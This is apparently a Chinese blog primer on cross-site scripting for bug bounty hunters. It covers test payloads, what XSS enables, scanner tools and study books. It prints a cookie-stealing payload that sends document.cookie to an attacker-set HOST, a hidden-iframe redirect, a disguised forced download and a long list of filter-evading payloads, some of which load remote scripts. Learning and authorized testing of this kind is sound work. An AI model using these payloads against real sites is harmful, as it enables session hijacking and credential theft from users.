XSS赏金猎人初涉-技能小计

XSS在赏金猎人项目中是非常吃香的,大厂商的XSS 0day金额是非常可观的一笔数目,今天来聊一聊一些散碎的XSS基本内容,然后分享一些在xss方面的学习资料。

15-10-16securitywatchhackers.jpg

# – 基础中的基础:

http://www.w3school.com.cn/js/js_intro.asp

直接上手xss的效率是很低的,各种payload和组合单靠背是没什么意思的,作为xss的基础功力,javascript如果你学会了,就可以很好的驾驭住这一门厉害的进攻手段,现在国际上也有很多专门挖掘xss 0day以及用xss做任何事情的’xss hacker‘,这无疑是非常酷的,想成为他们的话,这篇文章可以帮到你许多。

js.jpg

# – XSS基本测试:

1.<script>标签

<script>alert(1)</script>

<script src=//HOST/SCRIPT></script>

<script src=//xsshunter.com/1.js></script>

2.HTML标签

2.1事件型

<TAG EVENT=alert(1)>

标签可以是任何的HTML或者XML只要是事件处理语句,比如

<body onload=alert(1)>

<img src=1 onerror=alert(1)>

<svg onload=alert(1)>

<x onmouseover=alert(1)>

2.2资源型

<TAG RESOURCE=javascript:alert(1)>

只要是一个合适的HTML资源标签即可,像是:

<iframe src=javascript:alert(1)>

<object data=javascript:alert(1)>

这些javascript对于控制浏览器都很有效果,最好将alert(1)改成alert(document.domain)会更不错

例如:

<script>alert(document.domain)</script>

以上这些基本手段都是为了验证XSS漏洞存在,但当XSS真正的用于实战的时候,受害人是看不见任何的操作的,然后浏览器会执行攻击者的意愿,达到危险操作目的。

alert1.png

# – XSS可以做到什么?

2.1 在易受攻击的网站上窃取用户(或者管理员)的会话

浏览器使用小文本文件来存储关于网站的本地重要数据。此文件我们称之为cookie,它们对于将它们发送到浏览器的应用程序具有某种意义。 Cookie用于在登录应用程序后识别身份,因此服务器无需在每次用户请求资源时再次请求凭据(如重新输入账号密码等)。虽然cookie会在一定时间后过期,但当用户会话在应用程序中处于活动状态时,如果这些有效的cookie被盗,窃贼可以冒充该用户并以与真实用户相同的方式与应用程序进行交互,哪怕不知道该用户的密码。

这可以让攻击者能够访问存储在用户账户的所有个人数据,例如他的电话号码,家庭地址,甚至电子商务网站中的他/她的信用卡详细信息。对于网站管理员(管理员),XSS攻击可能导致他/她的网站甚至是托管的服务器被直接入侵。

攻击实例:

<svg onload=fetch(‘//HOST/?cookie=’+document.cookie)>

HOST是域名或者ip地址,它是由攻击者设定的。

2.2 键盘记录

能够盗取用户的键盘操作来进行进一步攻击

2.3 破坏原有网站,构建伪造页面

可以按攻击者意愿将网站伪造的面目全非,达到其他恶意目的

例如:<svg onload=”document.body.innerHTML=’<img src=//HOST/IMAGE>’”>

攻击者可以构造一个全屏的hacker by图片

#2.4。 诱骗用户通过伪造的HTML表单提供凭据

由于能够提供任何内容,攻击者可以欺骗用户在应用程序中输入或重新输入他/她的凭据,执行后结果会发送给攻击者。

2.5。 崩溃浏览器(本地拒绝服务)

非常罕见的一种攻击手段,但是也可以实现。比如攻击者可能希望在拍卖中干掉某个竞争对手,使他/她的浏览器无响应。

2.6。 强制下载文件

让用户的浏览器下载任何文件,在XSS黑客的世界中,即使用户不执行这些文件,也可以控制用户浏览器,但是攻击者能够控制着用户信任的网站内容,即使要欺骗用户执行恶意文件,进行进一步攻击也并不困难。

实例:<a href=//HOST/FILE download=FILENAME>Download</a>

FILE文件是攻击者希望受害者下载的文件,FILENAME是受害者机器中文件的后缀名称(例如用户可以被迫下载可执行文件,同时将其保存为图像)。

2.7 将用户重定向到另一个网站,布置内存或者溢出漏洞进一步攻击机器。 (详见利用谷歌重定向进入个人PC)

为了接管用户机器,攻击者可以无形地将浏览器重定向到另一个web地址,其中另一个准备好的web应用会尝试利用漏洞突破浏览器直接入侵到用户的机器。如果用户有一个过时或脆弱的浏览器,攻击者有很大的成功机会,而这种利用手法很容易造成高威胁的打击(对目标)。

实例:<iframe src=//HOST/ style=display:none></iframe>

# – XSS的子弹(payload):

-https://github.com/flagellantX/xsspayload/

注意闭合的使用例如“>’><details/open/ontoggle=confirm(‘flagellantX’)>

alibaba (2).jpg

常规的payload例如<script>alert(1)</script>几乎被所有浏览器阻止,

所以定期的更新payload是非常必要的。

<details open ontoggle=confirm()>

<script y=”><”>/*<script* */prompt()</script

<w=”/x=”y>”/ondblclick=`<`[confir\u006d``]>z

<a href=”javascript%26colon;alert(1)”>click

<script/”<a”/src=data:=”.<a,[8].some(confirm)>

<svg/x=”>”/onload=confirm()//

<–`<img/src=` onerror=confirm“> –!>

<svg%0Aonload=%09((pro\u006dpt))()//

<sCript x>(((confirm)))“</scRipt x>

<svg </onload =”1> (_=prompt,_(1)) “”>

<!–><script src=//14.rs>

<embed src=//14.rs>

<script x=”>” src=//15.rs></script>

<!’/*”/*/’/*/”/*–></Script><Image SrcSet=K */; OnError=confirm`1` //>

<iframe/src \/\/onload = prompt(1)

<x oncut=alert()>x

<svg onload=write()>

# – XSS的扫描仪(大名之下的测试工具):

https://www.owasp.org/index.php/File:Xenotix_XSS_Exploit_Framework_2013_v2.zip

Xenotix XSS Exploit Framework.png

https://tools.kali.org/web-applications/xsser

xsser.png

https://github.com/DanMcInerney/xsscrapy

14104250864658.png

http://xss-scanner.com/ (Online)

onlinexss.jpg

https://github.com/rajeshmajumdar/BruteXSS

brutexssaction.png

https://github.com/s0md3v/XSStrike

68747470733a2f2f696d6167652e6962622e636f2f6846415661382f363837343734373037333361326632663738373337333734373236393662363532653734366232663639366436313637363537333266333132653730366536372e706e67.png# – XSS 0DAY:

-xss的零日漏洞跟常规的软件,系统,web程序,以及一些RCE 0day不同,满足以下条件即可成为一枚XSS 0DAY

-在知名网站或者软件下挖掘出的XSS漏洞,并且该xss漏洞可以被利用(非本地式),例如facebook,推特,谷歌,淘宝,微博,ins,亚马逊等知名网站中的XSS;同样的软件可以是微信,QQ,微博,国外的脸书,推特,ins,snap等各种知名移动端或者PC端软件的XSS,例如我在之前帖子上说的simplenote的XSS到RCE利用的,也属于此列;越知名,流量越大的载体(网站,app)中的XSS 0DAY越具有价值。

-在需求的特定渗透目标中获得或者其他人员拥有该目标的XSS漏洞,同样该XSS漏洞可被攻击利用;这项就不局限于上条了,价值评估在于渗透项目的价值。

DmGqlrfXoAEBGf1.jpg如图是一枚8月底的paypal的XSS0day。

 

# – 绕过方式:

-url编码

-字符编码

-base64编码

-JavaScript编码

-CSS编码

-复合编码

xssor.jpg一个工具就搞定,开源项目XSS’OR

# – 如果你想测试你的子弹(payload):

-https://jsfiddle.net/

testxss.jpg# – XSS的备忘录:

-https://github.com/flagellantX/XSS.PNG

原版是jackmasa/xss.png,但是在github上已经掉了

xssmind.jpg

# – XSS修炼手册:

在此项我知道有很多优秀的国外paper,例如有一本web application hackers handbook就非常不错,但是我建议是先看一门国人的书进行初步学习,我这里推荐一本

《XSS跨站脚本攻击剖析与防御》,这是一本非常优秀的书,它告诉你如何在web 2.0时代成为一个安全人员,不仅针对xss,而且在xss蠕虫,xss to csrf,浏览器攻击等都给出了详细的参考步骤,与其去羡慕一些大牛,干嘛不自己学起来呢?而且开始这本书的学习并不需要多少基础,会文中开头的js语言即可,

如果上述的工具,以及相关东西一个用不上,先开始看书学习不失为最好的方法。

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.sxfda.cn/a/The-hacker-safe/20.html